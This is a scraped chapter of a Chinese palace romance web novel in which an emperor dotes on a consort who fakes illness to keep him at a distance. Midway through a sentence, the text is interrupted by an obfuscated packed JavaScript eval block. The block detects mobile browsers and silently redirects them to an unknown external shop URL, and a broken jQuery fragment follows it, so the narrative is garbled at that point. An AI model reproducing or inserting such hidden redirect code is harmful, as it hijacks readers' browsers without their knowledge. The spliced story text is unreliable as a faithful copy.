文趣网 > 其他小说 > 朕的贵妃只想当咸鱼怎么办 > 2. 撒桃木灰
    他果然不信她。

    难怪要亲自跑进来看一眼。

    果然,还叫了太医来检查。

    “禀报陛下,太医到了!”

    内侍报完,太医带着两名医工疾步进了室内,等到陛下跟前,给陛下磕头请罪:

    “臣来晚了,求陛下恕罪。”

    李福琰眼下只着急贵妃的病情,寒着脸,抬手道:“看贵妃。”

    太医忙不迭起身,要凑近贵妃身前时,被陛下喊住。

    “站住。”

    王静姝看到是苟太医,心一下放进了肚子里。

    又突然听到陛下喊“站住”,顿时鸡皮疙瘩冒一身。

    不是吧,他发现什么了?

    一道身影笼罩眼前,下一瞬,王静姝被拦腰抱了起来。

    她被置于坚硬的胸膛间,她清晰听到他紊乱的心跳和呼吸。

    眼前的白玉旒珠晃得眼晕,王静姝看不清他的脸,也懒得看。索性撇过脸去。

    李福琰将她安置在床榻上,命人放下轻罗帐。

    这才允许太医上前看诊。

    苟太医隔着罗幌给王静姝把脉时,李福琰就立在一旁看着。

    小半刻后。

    苟太医起身。

    没等太医禀报,李福琰急切问:“怎么样?”

    苟太医冲陛下行礼道:

    “回陛下,贵妃娘娘的情况和之前臣检查结果无异,是痨疾,好在是刚发的。虽无法彻底治愈,但臣有信心帮助娘娘延续寿数。日后,娘娘只需平心静气,好生将养,半百寿数不是问题。只此疾有传染的风险,还望陛下……”

    “半百寿数不够,朕活多长,朕也要她活多长。”

    李福琰打断他,强势道。

    王静姝无语。

    那万一他过两年驾崩了呢?

    这个心黑的男人,竟然诅咒她。

    苟太医能怎么答。

    他只能回:“臣定当竭尽所能。”

    永明问苟太医:“苟太医,可要奴婢帮着熬药?”

    苟太医:“有劳姑姑费心。娘娘的药提前煮上了。下官这就命人取来。”

    苟太医吩咐身边的医工去取药。

    这时,王静姝神色疲惫瞧着陛下道:

    “今日登基大典陛下定十分劳累,天色不早,陛下若不然早些回去歇息?”

    李福琰:“朕不累。朕只想守着你。”

    不一会儿,一碗熬好的黑乎乎的药汁到了王静姝面前。

    王静姝瞧着,一咬牙,打算当着陛下的面干了。

    只听陛下道:“姝儿这是嫌药苦?可良药才苦口。切不可因药苦就糊弄不喝了。”

    陛下不放心,冲素儿几个道:“切记每日盯着贵妃把药喝光,若有疏忽,朕决不轻饶。”

    永明几个呼啦啦跪一地,回话一定遵旨。

    素儿正给贵妃喂药呢,拿着药碗,头低得不能再低。

    王静姝只想赶快把这人赶走。

    她拿过药碗,打算喝时。

    药碗被人夺走了。

    “姝儿,朕喂你喝,就不苦了。”

    怎么,他当他自己是糖蜜子?

    “妾怕妾的染疾传给陛下,陛下不可。”

    没等李福琰拒绝,室内又跪了一地。

    永明几个丫头:“求陛下收回成命!”

    苟太医:“还请陛下保重圣体要紧。”

    就连李得劲也劝:“陛下,您可才登基。贵妃娘子这里不缺伺候的人,您保重自己,来日方长。”

    李福琰痛定思痛过后,便把汤碗递给了素儿。

    可不是。他得保重自己。他和姝儿的将来长着呢。

    素儿双手接过,随即喂贵妃喝药。

    李福琰就站在一侧看着贵妃将一碗药喝得一滴不剩为止。

    王静姝没想到他还不肯走。

    她真是没招了她。

    王静姝看了眼素儿。

    素儿扶过她:“娘子可是累了?”

    永明随后道:“陛下有所不知,娘子喝的这药有催眠的作用,往日这会儿娘子都睡了一个回笼觉了。”

    李福琰负手而立,望着贵妃道:“睡吧,不过只能睡三刻,不能耽误了用夕食。”

    一顿,又说:“朕就在这里守着你。待会儿叫你。”

    王静姝头疼。

    明明在潜邸时,还没这么难打发。

    久违的记忆涌上心头。

    王静姝想到潜邸时,他偶尔也会来看她,但只要她一说“殿下忙正事要紧,不必顾及妾”。

    这时候李福琰都会给她一个欣慰的眼神,然后二话不说走人。

    不过大多时候,他自己想起来有事,也不会顾及她。

    哪怕是深夜,箭在弦上,有谋士来找他,他都能利落抽身而去。

    所以,眼下这人的所作所为。

    在王静姝看来,他就是在抽风。

    王静姝已经在丝被底下躺好了。

    有气无力说:“朝中事务繁多,陛下早些回去吧。”

    听到这话的李福琰心里只觉暖暖的:

    “你不必担心朕。朕晚些回去处理也是一样。”

    王静姝静默一瞬,看向陛下身后的李得劲:

    “公公可是有话说?”

    李得劲没想到被点名。

    不过他确实有话不得不说。

    李得劲笑脸为难冲陛下道:

    “陛下,的确像娘子所说,今日光待批奏疏就有三十多道。这会儿回去,怕也得批答到后半夜不止。娘子这会儿睡下,您不如等到明日不忙了,到那会儿娘子精神也好些了,您再来岂不更好?”

    李福琰显见被说动了。

    他不是一个爱犹豫之人。

    当下点头,和贵妃说:“行吧。姝儿,那朕明日再来看你。”

    “陛下……”

    李福琰转身要走时,被叫住。

    又转过头来。玉珠串打在他脸上,他捋直了,从缝隙间望向贵妃。

    贵妃定是不舍他走。

    也是,虽是孩子的娘了,那也只是个柔弱小娘子,是要害怕的。

    李福琰决定了,贵妃要留他,他就留下,等贵妃睡着后再走好了。

    王静姝差点脱口而出“明日你也别来了”。

    “妾这病是真会传染,一旦陛下倒下,被贼人寻得可趁之机,陛下十数年的努力就白费了。”

    李福琰怔愣。

    这话说到他心坎上去了。

    可不是。他废了多大的劲才走到今天。

    绝不可能拱手让人。

    王静姝瞧不清他的表情,但能感觉到他听进去了。

    心下欢喜。

    再接再厉说:“妾还想靠陛下一辈子呢。妾也会好好保重身体,等妾养好了,再见陛下不迟。”

    李福琰心腔内只觉热血沸腾。果然是他的姝儿。

    多么善解人意,多么识大体。

    李福琰刚想答应,又想到什么,皱眉说:

    “可太医不是说痨疾治不好?朕总不可能永远不见你。”

    总不能什么?

    明年选妃,怕是新妃都见不过来,不就能了。

    她蠢,才和他抬杠。

    继续温言细语说:

    “苟太医是说要静养。苟太医家中三代医学世家,医术出众,说不定就治好了。对吧,苟太医?”

    苟太医很不想回贵妃的话呀。

    但还是硬着头皮回了:“臣定当尽力。”

    王静姝生怕他又闹幺蛾子,退一步道:

    “陛下要实在放不下妾,就吩咐得劲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703292|208261||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    公公他们来传个话,要再不行,妾就站院内,您站宫门口看一眼也一样的。”

    她就不信他能天天来。一个月来两次,她也就辛苦站院里两回罢了。

    李福琰想开口,发现喉头有些梗塞。

    于是没再说,红着眼点了下头,转身踏着沉重的步伐离开了贵妃殿。

    陛下的脚是真沉重。

    他过来时心切,对內苑又不熟,踩在两块石头缝里,直接把脚崴了。

    刚才还没怎么样。

    这会儿李福琰才觉得疼得厉害。

    但他不能让姝儿发现,再为他伤神了。

    他的姝儿竟然这般为他着想。

    他又怎好辜负。

    怎好叫她为难。

    李福琰走出一段距离,忽然想起来。

    转头和李得劲说:“朕好像刚才抱了姝儿?”

    “那朕给贵妃喂药还有必要都拦朕吗?还有,朕留不留在贵妃殿又有什么关系?”

    李得劲也一怔,生怕陛下又回去,忙说:

    “陛下,接触一下兴许没关系,但就怕接触久了。这病接触久了才会被传染上。”

    “是吗?”

    李福琰总觉得哪里不太对劲。

    李福琰望向贵妃殿,眼尖看到门口两个小宫女在撒什么东西。

    “她们撒什么呢?”

    李得劲眯眼看了会儿:“貌似是灰。”

    李得劲一下反应过来:“是驱邪避祸的桃木灰!”

    李福琰点头:“姝儿想得还真周到。是该撒,多撒点才好。”

    回头命令李得劲:“多找点桃木灰,除了贵妃殿,各宫里都撒撒。”

    贵妃殿门口。

    “陛下前脚才走,你们就撒这东西。别人不知道的,还当是撵陛下呢。”

    夏兰站在几个撒桃木灰的丫头中间,瞪着永明。

    永明可没空搭理她。

    指挥丫头们:“右边花圃给我撒一圈。”

    陛下离开前可是绕去了花圃夸了贵妃种的花漂亮。

    “门口给我多撒点。别小气。”

    永明不满意,干脆自己拎过一个小桶,哗哗往门口倒。

    一阵风吹过,站在身后的夏兰被扬了一脸灰。

    “喂,你故意的吧?”

    永明撞开她,头也不回:

    “你当你是宫里哪位得宠娘子不成,谁都来害你?杵在那做什么,还不快干活。”

    永明回内殿复命:

    “娘子,大功告成。”

    素儿:“这桃木灰能顶用?”

    永明:“试试总没错。”

    永明又问娘子:“娘子,你说陛下整这一出是干什么?”

    凤苦心疼娘子喝了一大碗冤枉药,替娘子回答:“当然是想让娘子当出头鸟。”

    永明:“怎么说?”

    凤苦一板一眼又说:“之前娘子说陛下之所以封娘子贵妃之位,是为了让正妃,不对,现在应该叫崔美人,为了让崔美人和崔家一族颜面扫地。那眼下我猜也是一样的,这不,今天登基大典,前朝大臣都还没散呢,陛下直接冲来了娘子这里,就连朝服都没换,有这么着急吗?估计就是着急给崔家和崔美人看的。好在娘子早安排妥了。”

    永明几个觉得凤苦说的很有道理。

    主要是也想不到其他原因了。

    总不可能陛下是真的爱她们娘子吧。

    那真是个可怕的笑话。

    潜邸,众所周知,当时还是六皇子的陛下第二天站在院子里放话说她们娘子没滋味。

    一个月来那么两三回,偏偏还两三回都要冲着院子骂一通。

    永明几个想起来,心里就窝火。

    永明忍不住又问:“娘子,那接下来我们要怎么办?陛下好像不打算放过你。”